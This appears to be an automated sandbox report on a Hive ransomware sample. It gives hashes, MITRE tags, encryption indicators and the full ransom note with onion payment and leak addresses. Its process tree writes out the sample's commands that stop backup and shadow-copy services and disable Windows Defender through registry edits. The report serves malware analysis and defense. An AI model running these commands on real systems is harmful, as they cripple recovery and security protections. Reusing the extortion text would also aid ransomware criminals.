hive | 47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35

Analysis

max time kernel
148s
max time network
121s
platform
windows10_x64
resource
win10-en-20211014
submitted
24-11-2021 14:30

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General

Target

serenb.exe
Size

3.4MB
MD5

177417be748814f6168171a42545f9dd
SHA1

9c8b988e66e0fe6f9dab69b1055e4ee200531094
SHA256

47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35
SHA512

c90eebbd4663ffe4bec089e21e4f7c1a1441e21a2f78cc190b9ce85fd048bf46901aa74273695df7b6434887284a26d4fdaaf657cb5d9c5469574158adc351c2

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Djfk_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 8cqCy3hpBgcC Password: CVDT3LgEQvzteorqmxav To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.snwkz files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
612	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3456	bcdedit.exe
2364	bcdedit.exe

Modifies extensions of user files 4 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\EnterGrant.png => C:\Users\Admin\Pictures\EnterGrant.png.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__Fozhdthbo300.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\EnterGrant.png.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__Fozhdthbo300.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\CompleteLimit.tiff => C:\Users\Admin\Pictures\CompleteLimit.tiff.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__zZWpXAGRo9I0.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteLimit.tiff.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__zZWpXAGRo9I0.snwkz	serenb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Awards\challenge\Become_a_Superstar_.png	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_zh_CN.jar.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__d_m-Tk1iMoc0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-96.png	serenb.exe
File opened for modification	C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color48.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSectionGroupMedTile.scale-100.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Microsoft.Xbox.SmartGlass.Controls.winmd	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MSPaint_1.1702.28017.0_x64__8wekyb3d8bbwe\Assets\Images\Stickers\Sticker_ReptileEye.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\HxA-Yahoo-Light.scale-200.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_client.xml.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__RH85Qrt0w_s0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-options_ja.jar.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__cax2xLfCeAw0.snwkz	serenb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\br\LC_MESSAGES\vlc.mo.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__VXub-H2yCxQ0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\TEE\de-DE.Messaging.config	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\LinkedInboxMediumTile.scale-400.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\check-mark-1x.png.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j___YUvUZCuZBc0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Car\RTL\contrast-white\SmallTile.scale-125.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\OneNoteSplashLogo.scale-200.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1702.312.0_x64__8wekyb3d8bbwe\Assets\CalculatorAppList.contrast-white_targetsize-72.png	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\s_shared_single_filetype.svg.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__y4-JyZvvcdc0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-black\MapsAppList.targetsize-32_altform-unplated.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Assets\AppTiles\StoreSmallTile.scale-200.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\StoreAppList.targetsize-36.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubAppList.targetsize-20_altform-unplated_contrast-white.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-black\ExchangeSmallTile.scale-200.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\ReadMe.htm.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__WyhQ86iHTxA0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoVL_KMS_Client-ppd.xrm-ms.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__9Qu_F_OCI640.snwkz	serenb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\buttons.png.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__2mzYIOGrr8o0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1702.333.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.contrast-white_targetsize-20.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\Office365LogoWLockup.scale-140.png	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\it-it\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\uk-ua\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\DailyChallenges\Popup\FUE3_Image.jpg	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\AppTiles\contrast-white\MapsStoreLogo.scale-200.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\da-dk\ui-strings.js.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__eAe48yWCNnY0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\ANTQUABI.TTF.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__7PqCWmC3ceU0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Themes\Western\mask\11d.png	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\send-for-sign\images\cloud_secured_lg.png.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__tXwFkC9L9JA0.snwkz	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\sk-sk\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\7-Zip\Lang\zh-cn.txt.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__vl6iitYy29I0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Place\RTL\contrast-white\SmallTile.scale-100.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\combine_poster.jpg.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__NhG05umdxPY0.snwkz	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ro-ro\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\js\nls\it-it\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]_Vk7J0r1gvKikbSQe19h0FYWp0j__lB9RDXLmjm00.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\Assets\manifestAssets\contrast-white\Icon.targetsize-16.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxApp_25.25.13009.0_x64__8wekyb3d8bbwe\XboxApp.UI\Resources\Images\star_3qtr.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppList.targetsize-16_altform-unplated_contrast-black.png	serenb.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-gb\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\walk-through\js\nls\nb-no\ui-strings.js.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__o8kd4KiluVo0.snwkz	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\TelemetryLog.xltx.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__haNWFZtjU_Y0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Windows Media Player\en-US\setup_wm.exe.mui	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-64_contrast-black.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\images\contrast-white\OneNoteSectionWideTile.scale-400.png	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.contrast-black_targetsize-256.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\back-arrow-hover.svg.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__q-oaWGvHzfc0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000027\assets\Icons\[email protected]_Vk7J0r1gvKikbSQe19h0FYWp0j__58irVjG0GFk0.snwkz	serenb.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\nls\ru-ru\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.commands.nl_zh_4.4.0.v20140623020002.jar.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__BaDaXZPNv7E0.snwkz	serenb.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\Livetiles\MicrosoftSolitaireMedTile.scale-125.jpg	serenb.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\eu-es\ui-strings.js.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__gVTKCFnQD_s0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\jvm.lib.Puf1hpiPI2OersV_Vk7J0r1gvKikbSQe19h0FYWp0j__Prtuh-GBENY0.snwkz	serenb.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1392	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4016	powershell.exe
4016	powershell.exe
4016	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
2292	serenb.exe
2292	serenb.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	920	wevtutil.exe
Token: SeBackupPrivilege	920	wevtutil.exe
Token: SeSecurityPrivilege	1496	wevtutil.exe
Token: SeBackupPrivilege	1496	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	3788	wmic.exe
Token: SeSecurityPrivilege	3788	wmic.exe
Token: SeTakeOwnershipPrivilege	3788	wmic.exe
Token: SeLoadDriverPrivilege	3788	wmic.exe
Token: SeSystemProfilePrivilege	3788	wmic.exe
Token: SeSystemtimePrivilege	3788	wmic.exe
Token: SeProfSingleProcessPrivilege	3788	wmic.exe
Token: SeIncBasePriorityPrivilege	3788	wmic.exe
Token: SeCreatePagefilePrivilege	3788	wmic.exe
Token: SeBackupPrivilege	3788	wmic.exe
Token: SeRestorePrivilege	3788	wmic.exe
Token: SeShutdownPrivilege	3788	wmic.exe
Token: SeDebugPrivilege	3788	wmic.exe
Token: SeSystemEnvironmentPrivilege	3788	wmic.exe
Token: SeRemoteShutdownPrivilege	3788	wmic.exe
Token: SeUndockPrivilege	3788	wmic.exe
Token: SeManageVolumePrivilege	3788	wmic.exe
Token: 33	3788	wmic.exe
Token: 34	3788	wmic.exe
Token: 35	3788	wmic.exe
Token: 36	3788	wmic.exe
Token: SeIncreaseQuotaPrivilege	1132	wmic.exe
Token: SeSecurityPrivilege	1132	wmic.exe
Token: SeTakeOwnershipPrivilege	1132	wmic.exe
Token: SeLoadDriverPrivilege	1132	wmic.exe
Token: SeSystemProfilePrivilege	1132	wmic.exe
Token: SeSystemtimePrivilege	1132	wmic.exe
Token: SeProfSingleProcessPrivilege	1132	wmic.exe
Token: SeIncBasePriorityPrivilege	1132	wmic.exe
Token: SeCreatePagefilePrivilege	1132	wmic.exe
Token: SeBackupPrivilege	1132	wmic.exe
Token: SeRestorePrivilege	1132	wmic.exe
Token: SeShutdownPrivilege	1132	wmic.exe
Token: SeDebugPrivilege	1132	wmic.exe
Token: SeSystemEnvironmentPrivilege	1132	wmic.exe
Token: SeRemoteShutdownPrivilege	1132	wmic.exe
Token: SeUndockPrivilege	1132	wmic.exe
Token: SeManageVolumePrivilege	1132	wmic.exe
Token: 33	1132	wmic.exe
Token: 34	1132	wmic.exe
Token: 35	1132	wmic.exe
Token: 36	1132	wmic.exe
Token: SeIncreaseQuotaPrivilege	1132	wmic.exe
Token: SeSecurityPrivilege	1132	wmic.exe
Token: SeTakeOwnershipPrivilege	1132	wmic.exe
Token: SeLoadDriverPrivilege	1132	wmic.exe
Token: SeSystemProfilePrivilege	1132	wmic.exe
Token: SeSystemtimePrivilege	1132	wmic.exe
Token: SeProfSingleProcessPrivilege	1132	wmic.exe
Token: SeIncBasePriorityPrivilege	1132	wmic.exe
Token: SeCreatePagefilePrivilege	1132	wmic.exe
Token: SeBackupPrivilege	1132	wmic.exe
Token: SeRestorePrivilege	1132	wmic.exe
Token: SeShutdownPrivilege	1132	wmic.exe
Token: SeDebugPrivilege	1132	wmic.exe
Token: SeSystemEnvironmentPrivilege	1132	wmic.exe
Token: SeRemoteShutdownPrivilege	1132	wmic.exe
Token: SeUndockPrivilege	1132	wmic.exe
Token: SeManageVolumePrivilege	1132	wmic.exe
Token: 33	1132	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 872	2292	serenb.exe	68
PID 2292 wrote to memory of 872	2292	serenb.exe	68
PID 872 wrote to memory of 1176	872	net.exe	70
PID 872 wrote to memory of 1176	872	net.exe	70
PID 2292 wrote to memory of 1524	2292	serenb.exe	71
PID 2292 wrote to memory of 1524	2292	serenb.exe	71
PID 1524 wrote to memory of 1428	1524	net.exe	73
PID 1524 wrote to memory of 1428	1524	net.exe	73
PID 2292 wrote to memory of 1716	2292	serenb.exe	74
PID 2292 wrote to memory of 1716	2292	serenb.exe	74
PID 1716 wrote to memory of 296	1716	net.exe	76
PID 1716 wrote to memory of 296	1716	net.exe	76
PID 2292 wrote to memory of 3588	2292	serenb.exe	77
PID 2292 wrote to memory of 3588	2292	serenb.exe	77
PID 3588 wrote to memory of 420	3588	net.exe	79
PID 3588 wrote to memory of 420	3588	net.exe	79
PID 2292 wrote to memory of 440	2292	serenb.exe	80
PID 2292 wrote to memory of 440	2292	serenb.exe	80
PID 440 wrote to memory of 3172	440	net.exe	82
PID 440 wrote to memory of 3172	440	net.exe	82
PID 2292 wrote to memory of 2236	2292	serenb.exe	83
PID 2292 wrote to memory of 2236	2292	serenb.exe	83
PID 2236 wrote to memory of 1836	2236	net.exe	85
PID 2236 wrote to memory of 1836	2236	net.exe	85
PID 2292 wrote to memory of 1040	2292	serenb.exe	86
PID 2292 wrote to memory of 1040	2292	serenb.exe	86
PID 1040 wrote to memory of 2648	1040	net.exe	88
PID 1040 wrote to memory of 2648	1040	net.exe	88
PID 2292 wrote to memory of 2088	2292	serenb.exe	89
PID 2292 wrote to memory of 2088	2292	serenb.exe	89
PID 2088 wrote to memory of 608	2088	net.exe	91
PID 2088 wrote to memory of 608	2088	net.exe	91
PID 2292 wrote to memory of 1156	2292	serenb.exe	92
PID 2292 wrote to memory of 1156	2292	serenb.exe	92
PID 1156 wrote to memory of 372	1156	net.exe	94
PID 1156 wrote to memory of 372	1156	net.exe	94
PID 2292 wrote to memory of 3936	2292	serenb.exe	95
PID 2292 wrote to memory of 3936	2292	serenb.exe	95
PID 2292 wrote to memory of 436	2292	serenb.exe	97
PID 2292 wrote to memory of 436	2292	serenb.exe	97
PID 2292 wrote to memory of 912	2292	serenb.exe	99
PID 2292 wrote to memory of 912	2292	serenb.exe	99
PID 2292 wrote to memory of 1488	2292	serenb.exe	101
PID 2292 wrote to memory of 1488	2292	serenb.exe	101
PID 2292 wrote to memory of 2336	2292	serenb.exe	103
PID 2292 wrote to memory of 2336	2292	serenb.exe	103
PID 2292 wrote to memory of 1544	2292	serenb.exe	105
PID 2292 wrote to memory of 1544	2292	serenb.exe	105
PID 2292 wrote to memory of 1736	2292	serenb.exe	107
PID 2292 wrote to memory of 1736	2292	serenb.exe	107
PID 2292 wrote to memory of 3644	2292	serenb.exe	109
PID 2292 wrote to memory of 3644	2292	serenb.exe	109
PID 2292 wrote to memory of 3156	2292	serenb.exe	111
PID 2292 wrote to memory of 3156	2292	serenb.exe	111
PID 2292 wrote to memory of 768	2292	serenb.exe	113
PID 2292 wrote to memory of 768	2292	serenb.exe	113
PID 2292 wrote to memory of 3984	2292	serenb.exe	115
PID 2292 wrote to memory of 3984	2292	serenb.exe	115
PID 2292 wrote to memory of 2820	2292	serenb.exe	117
PID 2292 wrote to memory of 2820	2292	serenb.exe	117
PID 2292 wrote to memory of 3376	2292	serenb.exe	119
PID 2292 wrote to memory of 3376	2292	serenb.exe	119
PID 2292 wrote to memory of 1856	2292	serenb.exe	121
PID 2292 wrote to memory of 1856	2292	serenb.exe	121

C:\Users\Admin\AppData\Local\Temp\serenb.exe
"C:\Users\Admin\AppData\Local\Temp\serenb.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:1176
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1524
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:1428
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:296
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3588
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:420
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "vmicvss" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "vmicvss" /y
    3⤵
    PID:3172
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:1836
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1040
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:2648
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:608
- C:\Windows\SYSTEM32\net.exe
  net.exe stop "UnistoreSvc_136d4" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UnistoreSvc_136d4" /y
    3⤵
    PID:372
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  PID:436
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  PID:912
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  PID:1488
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "vmicvss" start= disabled
  2⤵
  PID:2336
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  PID:1544
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  PID:1736
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  PID:3644
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config "UnistoreSvc_136d4" start= disabled
  2⤵
  PID:3156
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
  2⤵
  PID:768
- C:\Windows\SYSTEM32\reg.exe
  reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
  2⤵
  PID:3984
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
  2⤵
  PID:2820
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
  2⤵
  PID:3376
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
  2⤵
  PID:1856
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
  2⤵
  PID:1584
- C:\Windows\SYSTEM32\reg.exe
  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\reg.exe
